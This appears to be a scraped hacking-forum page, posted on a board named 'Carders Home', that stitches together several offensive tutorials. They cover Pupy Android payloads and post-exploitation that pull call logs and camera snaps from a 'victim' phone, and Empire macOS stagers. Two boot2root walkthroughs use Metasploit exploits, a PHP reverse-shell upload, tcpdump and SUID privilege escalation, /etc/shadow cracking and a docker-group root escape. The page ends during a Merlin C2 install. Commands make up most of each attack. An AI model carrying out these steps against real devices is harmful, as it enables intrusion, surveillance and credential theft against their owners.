Now we will create an android payload in order to exploit windows with the following command :
./pupygen.py -O android -o /root/shell.apk
1
./pupygen.py -O android -o /root/shell.apk
![[Image: 22.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-5tjem2Lme5E/XJCz1xHJrjI/AAAAAAAAAeQ/qC2gg_C8ZpIb1A8xmSYiPOCHqKLzmHDpwCEwYBhgL/s1600/22.png?w=687)
When you are successful in installing the shell.apk in the victims’ Android Phone, you will have your session as shown in the image :
![[Image: 23.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-WnXqLV7OPek/XJCz2Ham70I/AAAAAAAAAec/0JDaU71FWf4rUvAWIlxkSnJKyVxEu8mqwCEwYBhgL/s1600/23.png?w=687)
Android Post Exploitation
In post-exploitation, you can grab the call logs stored on the target device with the following command :
call -a -output-folder /root/call
1
call -a -output-folder /root/call
Here,
-a: refers to getting all the call details
-output-folder : refers to the path of the output file containing the call logs
![[Image: 24.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-4CYhTx9m4iE/XJCz2mMdOGI/AAAAAAAAAeg/3Jk_OVqR_9MHrav3bcUzV3GZT0uQQaTsACEwYBhgL/s1600/24.png?w=687)
We will use the cat command on callDetails.txt to read the call logs.
![[Image: 25.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-phU43fGK8Ao/XJCz28ZO7rI/AAAAAAAAAek/9TaadD8t3uozOWvldPBwRdaJBJqJYdA9QCEwYBhgL/s1600/25.png?w=687)
To get the camera snap from the primary camera on the target device, you can use the following command :
webcamsnap -v
1
webcamsnap -v
Here,
-v : refers to view the image directly
As we can see in the given image that we have the snap captured and stored at the given location.
![[Image: 26.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-VUKlvXL-nVE/XJCz2-HgmQI/AAAAAAAAAeU/Nex4d8EcE2M-YZoPCvFlArxFZGJXOe-vwCEwYBhgL/s1600/26.png?w=687)
To get the information about the installed packages or apps on the target device, you can use the following command :
apps -a -d
1
apps -a -d
Here,
-a: refers to getting all the installed packages details
-d: refers to view detailed information
As we can see in the given image that we have detailed information about the packages or apps installed on the target machine.
|
|
|
|
| [Guide] Multiple Ways to Exploiting OSX using PowerShell Empire |
|
Posted by: NINZA - 05-14-2020, 11:55 AM - Forum: Carders Home
- No Replies
|
 |
In this article, we will learn multiple ways to how to hack OS X using empire. There are various stagers given in empire for the same and we use a few of them in our article. Method to attack OS X is similar to that of windows. For the beginner’s guide to pen-test OS X click here.
Table of Content :
- osx/macho
- osx/applescript
- osx/launcher
- osx/jar
- osx/safari_launcher
osx/macho
The first stager we will use to attack is osx/macho. This stager will create a Mach-O file, which is an executable format of binaries in OS X. This file format is made for OS X specifically. This file format informs the system about the order in which code and data are read into memory. So, this stager is quite useful when it comes to attacking OS X.
The listener creation is the same as windows, use the http listener. Once the listener is created, execute the following set of commands:
usestager osx/macho
set Listener http
set OutFile shell.macho
execute
1
2
3
4
usestager osx/macho
set Listener http
set OutFile shell.macho
execute
As the shell.macho is executed in the victim’s PC, you will have your session as shown in the image below :
![[Image: 1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-kEc1p_xfEc0/XI_MTj-pLAI/AAAAAAAAdlo/qll6lDP7Mx08J63nfaUmL0B_2xaeGIcuACLcBGAs/s1600/1.png?w=687)
osx/applescript
The next stager we will use is osx/applescript. This stager will create a code in an apple script, this script has an automated control over scriptable Mac applications as its dedicated script for Mac. Therefore, it’s an important stager for pen-testing Mac. To create the malicious said apple script run the following set of commands :
usestager osx/applescript
set Listener http
execute
1
2
3
usestager osx/applescript
set Listener http
execute
![[Image: 2.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-mhnHqL5YRF4/XI_MTFFXk8I/AAAAAAAAdlg/6jcXXPifvUAldN40o801-SlCK99euKB6gCLcBGAs/s1600/2.png?w=687)
Executing the above stager will create a code, run this code in the targeted system as it is shown in the following image :
![[Image: 3.1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-WarcRcWiK4k/XI_MTaEw6QI/AAAAAAAAdlk/PMnI5LkHxYQFOs5wWjx_2Eiy8OzHeWm6ACLcBGAs/s1600/3.1.png?w=687)
As soon as the code is executed in the victim’s PC, you will have your session as shown in the image :
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-rj1pNDlVOXo/XI_MT9WlHUI/AAAAAAAAdls/6oZDrbckWzcOkVklYLz5EVcUVoSPlR2ngCLcBGAs/s1600/3.png?w=687)
osx/launcher
The next stager we will use is osx/launcher. This stager is most commonly used. To execute this stager, run the following commands :
usestager osx/launcher
execute
1
2
usestager osx/launcher
execute
copy this code and run it in the target system’s shell. Now as soon as the code is executed, you will have your session as shown in the image below :
![[Image: 4.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-QO5hDLH5TMA/XI_MUUyq8rI/AAAAAAAAdlw/fS7YnGl_QF0tB09ju6qBfSyPdNwORibmgCLcBGAs/s1600/4.png?w=687)
osx/jar
The nest stager which we will use is osx/jar. This stager creates a jar file which is a Java archive file. This file format is used for compressed java files which when extracted as run as desired. This file extension is specifically made for Java files. This stager turns out to be a suitable one when it comes to attacking OS X. Use the following set of commands to execute the said stager :
usestager osx/jar
set Listener http
set OutFile out.jar
execute
1
2
3
4
usestager osx/jar
set Listener http
set OutFile out.jar
execute
The stager will create a jar file as told above, as the said file will be executed in the victim’s system, you will have your session as shown in the image :
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-558_GC4AXyo/XI_MU1Y64XI/AAAAAAAAdl0/ZHB71vlXLysb2AhMWp_MQ0UCpTQxWz6PQCLcBGAs/s1600/5.png?w=687)
osx/safari_launcher
The last stager we will use is osx/safari_launcher, this will generate an HTML script for safari. For this stager, run the following set of commands:
usestager osx/safari_launcher
set Listener http
execute
1
2
3
usestager osx/safari_launcher
set Listener http
execute
Run the generated code in the safari of victim’s PC and so you shall have your session as shown in the image below :
![[Image: 6.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-O2F5cUM6G68/XI_MVHa4ZkI/AAAAAAAAdl4/RNBiNHt72fEzLx_d0ELBIMHn6xDQI8Y-ACLcBGAs/s1600/6.png?w=687)
So, these were five ways to attack or pentest OS X. They are pretty easy and convenient. Each of them is valid and up to date.
Hello friends! Today we are going to take another boot2root challenge known as “Web Developer: 1”. The credit for making this VM machine goes to “Fred Wemeijer” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Intermediate
Penetrating Methodology:- IP Discovery using netdiscover
- Network scanning (Nmap)
- Surfing HTTP service port
- Enumerating directories using Dirb
- Finding “cap” file
- Analyzing the “cap” file and finding WordPress password
- Installing the vulnerable plugin in WordPress
- Exploiting the vulnerable to get a reverse shell
- Finding SSH login and password
- Finding application is a sudoers list
- Getting flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-oPQgoisn9Xc/XIqG98NacaI/AAAAAAAAdhc/gSL_W_NX-SQZPRZmBuAybhRGTamCqTOewCLcBGAs/s1600/1.png?w=687&ssl=1)
We found our target –> 192.168.19.131
Our next step is to scan our target with nmap.
nmap -p- -sV 192.168.19.131
1
nmap -p- -sV 192.168.19.131
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-8EwEhk6kw3k/XIqG_Te5YLI/AAAAAAAAdh0/bMIDmHf_9T4h6tAVatLVRboXBDVoOLWVACLcBGAs/s1600/2.png?w=687&ssl=1)
From the NMAP Version Scan we enumerated the following details:
22 Port having the SSH service and 80 Port having HTTP service.
As the HTTP service is running on the target server, let’s open the IP Address on the Web Browser.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-6dI0bCLdUeU/XIqHA61nywI/AAAAAAAAdh4/E7Wpt8_1a60msGNpGCHGQHNNqIu_FSgLwCLcBGAs/s1600/3.png?w=687&ssl=1)
As we couldn’t find any links on this page. So, we will do a directory bruteforcing using dirb scan. From the scanning result, we choose the highlighted directory for further enumeration.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-vkIwFZbffcM/XIqHBGoe28I/AAAAAAAAdiA/WdGeqVkWF00_IdRp2hAUHK9A89ab6OInwCLcBGAs/s1600/4.png?w=687&ssl=1)
So, we opened this directory in the browser and found a cap file.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-vUoYZlqNKgE/XIqHBGxUCwI/AAAAAAAAdh8/ZJiY5_V6-8oAxSx5zOws5Gf_eEPuxULLACLcBGAs/s1600/5.png?w=687&ssl=1)
We will open cap file in Wireshark, and you can see that we found the username and password through it.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-l_Mdj1AtanQ/XIqHBlsmzWI/AAAAAAAAdiE/1nG_kDOB26ACASbOuaLqFMSQxJmzrKzsgCLcBGAs/s1600/7.png?w=687&ssl=1)
And using the above username and password, you can directly log on to the website. As you can see that the website is in WordPress. And I remember that there is a plug-in of WordPress that is vulnerable. So, in the plugin I added a new plugin i.e. ReFlex Gallery as you can in the image below:
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-yHat_YhVDWM/XIqHCGIr1dI/AAAAAAAAdiM/irpsVjjir_cBNxNhTm57XcBnRVcegdswQCLcBGAs/s1600/8.png?w=687&ssl=1)
Now, we will use the in-build exploit from Metasploit to exploit this plugin and get a session. And for this, we use the following set of commands:
use exploit/unix/wepapp/wp_reflexgallery_file_upload
set rhosts 192.168.19.131
exploit
1
2
3
use exploit/unix/wepapp/wp_reflexgallery_file_upload
set rhosts 192.168.19.131
exploit
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-rmNSY5z1j3g/XIqHCEPizTI/AAAAAAAAdiI/JuKmNmMApP8Lyo9l3Iv8kci6fJ_i_U57ACLcBGAs/s1600/9.png?w=687&ssl=1)
Once we got the session, I navigated through it a lot and found the wp-config.php, now, when reading the config file, we find username and password.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-l7rrVwMWHj0/XIqG-EUo8qI/AAAAAAAAdhk/tFMTbe02KTozk6Dc-D1-9INpZM5tgQsmgCLcBGAs/s1600/11.png?w=687&ssl=1)
Now we find credentials inside the file, we use this credential to log in through SSH. After logging in we check the sudoers list and find we can run “tcpdump” as the root user.
ssh [email protected]
sudo -l
1
2
ssh [email protected]
sudo -l
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-uFpY_2GkyYk/XIqG-MoQ6eI/AAAAAAAAdhg/ThQDcGTmqMQbcW6p_ajh05fjjhFroGFXgCLcBGAs/s1600/12.png?w=687&ssl=1)
So, we can execute a file using tcpdump, so we use the following command to execute “ls -al /root” command. Now the command will be executed only when tcpdump captures a packet.
COMMAND='ls -al /root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
1
2
3
4
5
COMMAND='ls -al /root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
![[Image: 13.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-myMZedHHzFg/XIqG-xFIkkI/AAAAAAAAdho/fknpURPe02AvxQKxE-Vnw_FOPZKnW0T9ACLcBGAs/s1600/13.1.png?w=687&ssl=1)
After starting tcpdump, in a new terminal, we connect to the target machine through SSH. Now we send a TCP packet to the 127.0.0.1 using netcat. We had to use this locally as we started tcpdump on the loopback interface.
nc -v -z -n -w 1 127.0.0.1 1
1
nc -v -z -n -w 1 127.0.0.1 1
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-T-0RVjZVSLs/XIqG_Bm4SAI/AAAAAAAAdhs/WNys7QALAmACG4jVpNbzSF_BJaXuKdNwgCLcBGAs/s1600/13.png?w=687&ssl=1)
As soon as we send the packet, our command is executed and we can see all the files inside “/root” directory. Inside “/root” directory, we find a file called “flag.txt”. We are again going to use tcpdump command to open “flag.txt” and are able to get the final flag.
COMMAND='cat /root/flag.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
1
2
3
4
5
COMMAND='cat /root/flag.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-GjFwbMEtzis/XIqG_QeoVgI/AAAAAAAAdhw/fvJSthw6EvkUNLFIa_wYfU7Cmhft_4pQwCLcBGAs/s1600/14.png?w=687&ssl=1)
Hello friends! Today we are going to take another boot2root challenge known as “HackInOS: 1”. The credit for making this VM machine goes to “Fatih Çelik” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Intermediate
Penetrating Methodology:- IP Discovery using netdiscover
- Network scanning (Nmap)
- Surfing HTTP service port
- Finding upload directory
- Finding source code for a web application
- Getting reverse shell
- Pivoting using Metasploit
- Logging in through MySQL and find an SSH credentials
- Logging in through SSH
- Getting the root shell and finding the flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-9Qhb3mvFbLA/XIo09slUvGI/AAAAAAAAdfk/E9YWRBklH1QNDScrmBnkWUu1PSxdzDViACLcBGAs/s1600/1.png?w=687&ssl=1)
We found our target –> 192.168.1.101
Our next step is to scan our target with nmap.
nmap -p- -sV 192.168.1.101
1
nmap -p- -sV 192.168.1.101
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-bL1xlCyBCBE/XIo1CMQSYNI/AAAAAAAAdgM/s9aRP_ELpfs2-A1BElnihI-U1YNcxo38gCLcBGAs/s1600/2.png?w=687&ssl=1)
The NMAP output shows us that there are 2 ports open: 22(SSH), 8000(HTTP)
We find that port 8000 is running HTTP, so we open the IP in our browser and find there is WordPress CMS running on the web server.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Cit6ezm6kzI/XIo1DXcFQUI/AAAAAAAAdgk/3hIhY6B01FU6ZPYBoh75i00AfdVfu3gSgCLcBGAs/s1600/3.png?w=687&ssl=1)
We don’t find any vulnerable plugin or theme on the CMS, so we run a dirb scan to enumerate the directories on the target machine.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-6QpgL4CgH1Y/XIo1D66GAeI/AAAAAAAAdgo/ETnObcHmKokvNvOHM5Y8-2Hp-Q7xstzNwCLcBGAs/s1600/4.png?w=687&ssl=1)
Dirb scan gave us “robots.txt”, we open it and find a link to “upload.php” and “/uploads”.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4X1cJtQ74lE/XIo1EKvCDVI/AAAAAAAAdgs/UIhgri0gILEp6rVAeiWkT3hlMIT6EhVMQCLcBGAs/s1600/5.png?w=687&ssl=1)
We open upload.php and find a page where we can upload images. Here we try to upload an image and get a smiling face, it looks like it means there is an error uploading the file.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-r5H9vhXO6ww/XIo1EeEi5xI/AAAAAAAAdgw/_1r7iU_NtrIh75s6_v4dUg2uYkxxWQlvQCLcBGAs/s1600/6.png?w=687&ssl=1)
We open the source code of the web page and inside a comment we find a GitHub link.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-ALt067kIAC0/XIo1Ek40LEI/AAAAAAAAdg0/knftd4_OxfE9b1rc42aCLZYEBgpqSy2RACLcBGAs/s1600/7.png?w=687&ssl=1)
We open the GitHub link and find there is a source code for the upload.php file.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-RO051Q2ek_I/XIo1E5b6BYI/AAAAAAAAdg4/hooqHvFdoAcqa578QJxil7Ev9dxCvEhBgCLcBGAs/s1600/8.png?w=687&ssl=1)
Now to upload the image we just need to add “GIF98” to the start of the php reverse shellcode we want to upload.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-b76p9kXfuSc/XIo1FNVC-tI/AAAAAAAAdg8/_G20LamC_n8C9XQNbkrF9wanoiO86q-0ACLcBGAs/s1600/9.png?w=687&ssl=1)
Now when we upload our php reverse shell, we are successfully able to upload the shell. But we do not know the filename after it is uploaded on the server.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-0AQlwy1X0fw/XIo09ubE5UI/AAAAAAAAdfc/auUEWdfvW7Mf74FvKAVZ3fQRA7S-qYBXQCLcBGAs/s1600/10.png?w=687&ssl=1)
Taking a look at the source code of “upload.php” we find that after the shell is uploaded the file gets renamed to “md5(<filename><random number )between 1 – 100>.<file extension>”. So, we create a python script that creates a text file filled with all the 100 md5 filename. You can download the script from [To see content please register here] .
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-KbuRdNRc3mE/XIo09oVC8II/AAAAAAAAdfg/EBv8RSJG0E0hYI9c3KyqYIwUafS1pcYlACLcBGAs/s1600/11.png?w=687&ssl=1)
Now we run the python script and use dirb to bruteforce the new file name.
dirb [To see content please register here] dict.txt
1
dirb [To see content please register here] dict.txt
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-OErVzrrULLE/XIo0-X75ShI/AAAAAAAAdfo/pdLT8tm0708D6Pr46K3dTJVwqFEmzwyEQCLcBGAs/s1600/12.png?w=687&ssl=1)
We set up the listener, and again run the dirb command again and get a reverse shell.
nc -lvp 1234
dirb [To see content please register here] dict.txt
1
2
nc -lvp 1234
dirb [To see content please register here] dict.txt
After getting a reverse shell, we spawn a TTY shell and we find that we are inside a Docker container. We find all files with SUID bit set and find that “tail” command has SUID bit set. So, we use the “tail” command to open “/etc/shadow”.
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null
tail -c1G /etc/shadow
1
2
3
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 2>/dev/null
tail -c1G /etc/shadow
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-atGeNiSu4QA/XIo0-vfSZbI/AAAAAAAAdfs/0Cib6YMUeZoUgGQ_QOairhQa19KRE4NmACLcBGAs/s1600/13.png?w=687&ssl=1)
We get the password for “root” user from /etc/shadow file and we copy and save it in our system. We crack the hash using john the ripper and find the password to be “john”.
john hash
1
john hash
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-bm82wggsmhY/XIo0_MDyFRI/AAAAAAAAdf0/35PgG6ZIppQqnK5_xsXJBWc7YwrvEmcBgCLcBGAs/s1600/14.png?w=687&ssl=1)
After finding the password, we switch to the root user. After becoming a root user, we switch to “/root” directory and find a file called “flag”. We open the “flag” file and find nothing useful.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-eXUMuhnLZ2E/XIo0_sjKKqI/AAAAAAAAdf4/Dnc7rPuXkzI_wX5G5g06SIstx9AcFXP-wCLcBGAs/s1600/15.png?w=687&ssl=1)
Further enumerating the system, inside /var/www/html/wp-config.php. We open the username and password for database login. There is no MySQL service running on the machine and we are also not able to login through SSH using these credentials.
![[Image: 14.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-SrqM8X7Vojo/XIo0-jXjdqI/AAAAAAAAdfw/9ZnqyZao5J8CcOmq3Evi62UMcNI6T8NgwCLcBGAs/s1600/14.1.png?w=687&ssl=1)
Getting back inside /root directory, we find a file called “.port”. We open the file and find a hint to look for other containers.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-_H4HtqxYJJs/XIo1AGTtABI/AAAAAAAAdf8/TdYUTSbbVjInC67PTsE75tqJIEtHqC5RACLcBGAs/s1600/16.png?w=687&ssl=1)
To further interact with the shell, we get a meterpreter reverse shell. We use the web_delivery module in Metasploit-framework to get a reverse shell.
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > setg lhost eth0
msf5 exploit(multi/script/web_delivery) > setg lport 8888
msf5 exploit(multi/script/web_delivery) > run
1
2
3
4
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > setg lhost eth0
msf5 exploit(multi/script/web_delivery) > setg lport 8888
msf5 exploit(multi/script/web_delivery) > run
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-TCr08JAS1os/XIo1AjUnkeI/AAAAAAAAdgA/KFq9BK4ZZy0YQAHyW7m0OGak1SL89afcQCLcBGAs/s1600/17.png?w=687&ssl=1)
We copy the command provided by web_delivery module and run it on the target machine.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ojrP5gTGj3o/XIo1BBzGrRI/AAAAAAAAdgE/9RCqEAprGYElDip4JHEO7ORJF5hJHD6KgCLcBGAs/s1600/18.png?w=687&ssl=1)
As soon as we run the command on the target machine, we get a reverse shell. After getting a reverse shell, we use autoroute module in Metasploit-framework for pivoting.
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit
1
2
3
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit
Then we use the ping_sweep module to find all the machines on the new network.
msf5 > use post/multi/gather/ping_sweep
msf5 post(multi/gather/ping_sweep) > set rhosts 172.18.0.0-255
msf5 post(multi/gather/ping_sweep) > set session 1
msf5 post(multi/gather/ping_sweep) > exploit
1
2
3
4
msf5 > use post/multi/gather/ping_sweep
msf5 post(multi/gather/ping_sweep) > set rhosts 172.18.0.0-255
msf5 post(multi/gather/ping_sweep) > set session 1
msf5 post(multi/gather/ping_sweep) > exploit
Then we run a portscan module to find all the ports on all the machines.
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 172.18.0.0-4
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
msf5 auxiliary(scanner/portscan/tcp) > exploit
1
2
3
4
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 172.18.0.0-4
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
msf5 auxiliary(scanner/portscan/tcp) > exploit
We find the following ports open on the following machines:
172.18.0.1
22,8000
172.18.0.2
80
172.18.0.3
3306
172.18.0.4
2021
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-naMefZ3rr3I/XIo1BtNyINI/AAAAAAAAdgI/b6AdtGOHPP4aAQpVDhpYpqskOfhrDv-LwCLcBGAs/s1600/19.png?w=687&ssl=1)
As we know port 3306 is for MySQL service and we also have username and password for WordPress database. So, we can login through MySQL on target “172.18.0.3” and use credentials “wordpress:wordpress”.
meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"
mysql -u wordpress -p wordpress -h 172.18.0.3
1
2
3
meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"
mysql -u wordpress -p wordpress -h 172.18.0.3
After logging in we check all the databases on the MySQL server.
show databases;
1
show databases;
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-u_ZLqQtrh9g/XIo1CW3MODI/AAAAAAAAdgQ/cOulOKiKN28u6Dv47xTUrXfRYJwIkNqQACLcBGAs/s1600/20.png?w=687&ssl=1)
We now check all the tables available on the database and find a table called “host_ssh_cred”. We check the columns inside the table and find the username and hash of a password.
show tables;
select * from host_ssh_cred;
1
2
show tables;
select * from host_ssh_cred;
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-yRmdNRE4jXE/XIo1CtozhJI/AAAAAAAAdgU/YwWwtuQLKnQ4cPlUB17sIMzgGv3IpcDgQCLcBGAs/s1600/21.png?w=687&ssl=1)
We save the hash in our system and use john the ripper to crack the hash
john --format=RAW-md5 sshpass
1
john --format=RAW-md5 sshpass
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-wxDk-5b-keA/XIo1C2j3pbI/AAAAAAAAdgY/1hSZvvzaiOYRWWt5t6cLa5tc2AtbU9bNgCLcBGAs/s1600/22.png?w=687&ssl=1)
Now we have the credentials for SSH; hummingbird:123456. We login through SSH and now when we run the id command, we find that we are a member of the docker group. Some containers have a dedicated group to allow unprivileged users to manage their containers without having to escalate their privileges. To exploit this vulnerability, we first need to check the docker images that are available.
ssh [email protected]
id
docker images
1
2
3
ssh [email protected]
id
docker images
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-OonAXAPSwEc/XIo1DUZNGtI/AAAAAAAAdgg/qenabSk0sAMoTMFyQxVtcfMPwh7LBOScACLcBGAs/s1600/23.png?w=687&ssl=1)
We find that the Ubuntu image is available to us, so we use this to create a new docker container and mount the / directory of the host inside a folder called /root. After we run the docker image we go to /root/root and find a file called “flag”. When we open the file, we find our congratulatory flag.
docker run -v /:/root -i -t ubuntu /bin/bash
cd /root
cd root
cat flag
1
2
3
4
docker run -v /:/root -i -t ubuntu /bin/bash
cd /root
cd root
cat flag
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-wg5bQOtV8IE/XIo1DM-vrHI/AAAAAAAAdgc/UTcQKVh_uzQb09UNVckmpU4q7SGs5jFswCLcBGAs/s1600/24.png?w=687&ssl=1)
In this article, we learn how to use Merlin C2 tool. It is developed by Russel Van Tuyl in Go language.
Table of content:- Introduction
- Installation
- Windows exploitation
- Windows post exploitation
- Linux exploitation
- Linux post exploitation
Introduction
Merlin is a great cross-platform Command and control tool written in the Go language. It’s made of two elements i.e. the server and agent. It works on the HTTP/2 protocol. The best things about Merlin are that it is compiled to work on any platform and that you can even build it from source. Normally, agents are put on windows and are being listened on Linux but due to being written in Go language, Merlin lets us put agents on any platform/machine we come across and we can listen to it also on any platform. This is much more successful than others when it comes to red teaming as it makes IDS/IPS struggle to identify it.
The Merlin server is to be run in the folder where agents can call out to it. By default, the server is configured on 127.0.0.1:443 but you can change it to your own IP. The merlin agent can be, as discussed earlier, cross-complicated to run on any platform. Agents are interacted using the Merlin server. Any binary file is executed with the target’s path variable.
Installation
Merlin’s installation is pretty tricky. The most convenient way to download is shown in this article. Installing Go language is compulsory in order for Merlin to work. So, to install the Go language type:
apt install golang
1
apt install golang
And then to install merlin the following commands:
mkdir /opt/merlin;cd /opt/merlin
wget //github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
1
2
mkdir /opt/merlin;cd /opt/merlin
wget //github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-OlBodaw85iQ/XIdvehF4LmI/AAAAAAAAdbo/kSUaiHq1_305b_nanGAnPKZhn9iOogQlgCLcBGAs/s1600/1.png?w=687)
Once the above commands are executed successfully, use the following command to unzip merlin server.
7z x merlinServer-Linux-x64-v0.1.4.7z
1
7z x merlinServer-Linux-x64-v0.1.4.7z
![[Image: 2.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-cGWOrVZhfCU/XIdvggDU6nI/AAAAAAAAdcI/8_1mCvlkgE823tdvdLHSPs3JKZBu9le6ACLcBGAs/s1600/2.png?w=687)
Now, after unzipping, when you use ls command; you will find the merlin server and readme file. We can check if the server is running by using the following command:
./merlinServer-Linux-x64
1
./merlinServer-Linux-x64
![[Image: 3.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-hKNC9fERFFI/XIdvipF70-I/AAAAAAAAdco/alOHzwUAbZkjNyoQvzMg_j5sqSVoEBuZACLcBGAs/s1600/3.png?w=687)
In “README.MD”, we find the instructions for installing “Merlin” in our system.
![[Image: 4.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-x0vnvQYfilU/XIdw5Y4gY9I/AAAAAAAAdeg/YyojHeoMOkgKrf2TE41HGqXov532hfowwCLcBGAs/s1600/4.png?w=687)
Now according to the readme file, we have to setup GOPATH environment variable for the installation and then install merlin using “go” instead of git clone. So, to complete these steps run the following set of commands:
echo "export GOPATH=$HOME/go" >> .bashrc
source .bashrc
go get github.com/Ne0nD0g/merlin
1
2
3
echo "export GOPATH=$HOME/go" >> .bashrc
source .bashrc
go get github.com/Ne0nD0g/merlin
Once the directory is downloaded, let’s check its contents using cd and ls commands.
![[Image: 5.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-4AQLmCupt5s/XIdw5bARGII/AAAAAAAAdek/gUU0voFqs901z6are9mrKCUyzOVSFwQhQCLcBGAs/s1600/5.png?w=687)
There was a cmd directory, and in it, there was a directory named merlinserver where we found main.go. Run main.go as shown in the image below :
go run main.go
1
go run main.go
![[Image: 6.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-ZuAVTqpA_UQ/XIdw59VAKlI/AAAAAAAAdeo/5qGGEwz-EsEHyVB6nWEQXUYIlwWaJB15wCLcBGAs/s1600/6.png?w=687)
